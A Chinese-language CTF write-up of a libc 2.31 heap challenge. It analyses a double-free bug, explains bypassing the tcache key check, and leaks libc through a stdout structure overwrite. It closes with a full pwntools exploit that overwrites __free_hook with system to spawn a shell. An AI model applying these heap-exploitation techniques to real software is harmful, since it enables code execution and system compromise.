题目信息
- libc2.31
题目分析
-
main函数
- 保护 全开
- 申请 分配 删除
-
申请函数
unsigned __int64 __usercall Malloc@<rax>(__int64 a1@<rbp>) { const char *v1; // rdi unsigned __int64 result; // rax unsigned __int64 v3; // rt1 unsigned int v4; // [rsp-14h] [rbp-14h] unsigned __int64 v5; // [rsp-10h] [rbp-10h] __int64 v6; // [rsp-8h] [rbp-8h] __asm { endbr64 } v6 = a1; v5 = __readfsqword(0x28u); Write(1LL, "size >", 6LL); Scanf("%ud", &v4); if ( v4 == 0x77 || v4 == 0x55 ) { chunk = mallocc(v4); Write(1LL, "content >", 9LL); v1 = 0LL; get_input(); edit_num = 2; } else { v1 = "Do you mean Uzi and Clearlove are inability?"; print("Do you mean Uzi and Clearlove are inability?"); } v3 = __readfsqword(0x28u); result = v3 ^ v5; if ( v3 != v5 ) result = sub_1130(v1); return result; }
-
编辑函数
- 只能修改0-0x30处数据,且只能修改两位(对于未free的)
__int64 __usercall Edit@<rax>(__int64 a1@<rbp>) { __int64 result; // rax unsigned __int64 v2; // rt1 unsigned int v3; // [rsp-2Ch] [rbp-2Ch] __int64 v4; // [rsp-28h] [rbp-28h] unsigned __int64 v5; // [rsp-10h] [rbp-10h] __int64 v6; // [rsp-8h] [rbp-8h] __asm { endbr64 } v6 = a1; v5 = __readfsqword(0x28u); if ( edit_num <= 0 ) { print("You have no chance!"); sub_1190(0LL); } Write(1LL, "index >", 7LL); sub_1150(&v4, 0LL, 8LL); Read(0LL, &v4, 8LL); v3 = get_num(&v4, &v4); if ( v3 > 0x30 ) { print("Wrong index!"); sub_1190(0LL); } Write(1LL, "content >", 9LL); Read(0LL, chunk + v3, 1LL); --edit_num; v2 = __readfsqword(0x28u); result = v2 ^ v5; if ( v2 != v5 ) result = sub_1130(0LL); return result; }
-
删除函数
- 存在 2free 和 UAF
- 修改此处置为 8
__int64 __usercall Delete@<rax>(__int64 a1@<rbp>) { unsigned __int64 v1; // ST08_8 __int64 result; // rax unsigned __int64 v3; // rt1 __int64 v4; // [rsp-8h] [rbp-8h] __asm { endbr64 } v4 = a1; v1 = __readfsqword(0x28u); freee(chunk); print("Done!"); edit_num = 8; v3 = __readfsqword(0x28u); result = v3 ^ v1; if ( v3 != v1 ) result = sub_1130("Done!"); return result; }
利用思路
- 本质就是利用tcache dup
- 如何泄露libc地址
- 如何在libc2.31版本绕过tcache的安全检查
2.31版本tcachea安全特性
首先,为了增加安全性,2.29 版本以后的 tcache_entry 结构体发生了变化,增加了 key 字段。其结构体变成了
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
且在 free 的时候多了一段检测
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
之后在 tcache_put 函数中多了一段 e->key=tcache 的代码:
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
整个流程为:调用 tcache_put 放入 tcache_entry 的时候,其 next 指针和之前变化一致,但是其 key 字段指向了tcache。接下来 free 的时候会检测 key 字段是否为 tcache,如果相等则检测 free 的指针值是否在对应的tcache_entry 链上,如果在则视为程序在 double free,进而终止程序。这里为什么逻辑不是 key 等于 tcache 直接中断,应该是考虑了用户放在 key 字段的数据恰好为 tcache 值的情况。这种简单的方法使得之前的 tcache 非常随意的 double free 失效了。不过绕过的方式也非常简单,即在构造double free 时提前修改 key 字段的值为任意其他的值。所以相关的所有攻击手法依然可用,并且增加了能够修改key 字段的前提。
利用流程
绕过Tcache key检查
- 通过edit可以修改特定的位置,因此我们可以修改key绕过tcache的安全检测
Malloc(0x55, 'yuri')
Delete()
Malloc(0x77, 'yuri')
Delete()
# tcache[0x60] -> 7
# fastbin[0x60] -> 1
Malloc(0x55, 'yuri')
for _ in range(8):
Delete()
Edit(8, '\x00')
tcachebins
0x60 [ 7]: 0x55e803dfd2a0 ◂— 0x0
0x80 [ 1]: 0x55e803dfd300 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x55e803dfd290 ◂— 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
泄露libc
- 通过double free 构造处在fastbin上的chunk
- 由于不能申请更大的堆块,利用缓冲区在堆上,触发malloc_consolidate
- 使得对应fastbin上的chunk进入small bin
- smallbin上的fd指向main_arena上的一个地址
- 使得对应fastbin上的chunk进入small bin
- 通过 1/16 爆破出stdout的地址(exp中泄露的是-0x10偏移处的地址)
- 主要是修改flag、修改
pwndbg> x /30gx 0x00007fdf38825690
0x7fdf38825690 <_IO_2_1_stderr_+208>: 0x0000000069727579 0x0000000000000000
0x7fdf388256a0 <_IO_2_1_stdout_>: 0x00000000fbad3887 0x00007fdf38825723
0x7fdf388256b0 <_IO_2_1_stdout_+16>: 0x00007fdf38825723 0x00007fdf38825723
0x7fdf388256c0 <_IO_2_1_stdout_+32>: 0x00007fdf38825723 0x00007fdf38825723
0x7fdf388256d0 <_IO_2_1_stdout_+48>: 0x00007fdf38825723 0x00007fdf38825723
0x7fdf388256e0 <_IO_2_1_stdout_+64>: 0x00007fdf38825724 0x0000000000000000
0x7fdf388256f0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
复习一下stdout结构体:
pwndbg> p stdout
$1 = (struct _IO_FILE *) 0x7ffff7dd0760 <_IO_2_1_stdout_>
pwndbg> ptype stdout
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base; // 本质上是通过修改这个结构题泄露
char *_IO_write_ptr; // 这两个指针地址之间的内容
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[20];
} *
getshell
有了libc地址,以及绕过tcache double free的安全检查
利用tcache dup,修改malloc hook或者free hook即可
EXP
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#---------------------Setting-----------------------
EXCV = context.binary = './lol'
LIBC = './libc-2.31.so'
elf = ELF(EXCV, checksec=False)
libc = ELF(LIBC, checksec=False)
if args.I:
context.log_level = 'debug'
if args.D:
context.terminal = ['tmux', 'split', '-h']
gdb.attach(proc.pidof(r)[0])
#---------------------Setting-----------------------
def Malloc(size, content):
r.sendlineafter('>', 'M')
r.sendlineafter('>', str(size))
r.sendafter('>', content)
def Delete():
r.sendlineafter('>', 'D')
def Edit(index, content):
r.sendlineafter('>', 'E')
r.sendlineafter('>', str(index))
r.sendafter('>', content)
def pwn():
Malloc(0x55, 'yuri')
Delete()
Malloc(0x77, 'yuri')
Delete()
# tcache[0x60] -> 7
# fastbin[0x60] -> 1
Malloc(0x55, 'yuri')
for _ in range(8):
Delete()
Edit(8, '\x00')
# malloc_consolidate()
r.sendlineafter('>', 'M')
r.sendlineafter('>', '7'*0x400)
# 1/16
Edit(0, '\x90')
Edit(1, '\x56')
Malloc(0x55, 'yuri')
Malloc(0x55, 'yuri')
# two byte to leak
Edit(1+0x10, chr(0x20 | 0x8 | 0x10))
Edit(0x20+0x10, chr(0))
data = r.recvuntil("============")[:-len("============")]
if len(data) <= 0:
raise Exception('eof')
base = u64(data[8:16]) - 0x1eb980
__free_hook_addr = base + libc.symbols['__free_hook']
system_addr = base + libc.symbols['system']
# print(hex(base), hex(__free_hook_addr), hex(system_addr))
# tcache dup
Malloc(0x77, 'yuri')
for _ in range(5):
Delete()
Edit(8, '\x00')
Delete()
for i, ch in enumerate(p64(__free_hook_addr-8)):
Edit(i, chr(ch))
Malloc(0x77, 'yuri')
Malloc(0x77, b'/bin/sh\x00' + p64(system_addr))
Delete()
if __name__ == "__main__":
while True:
try:
if args.R:
r = remote('127.0.0.1', 30000)
else:
r = process(EXCV)
pwn()
break
except:
r.close()
r.interactive()
【参考链接】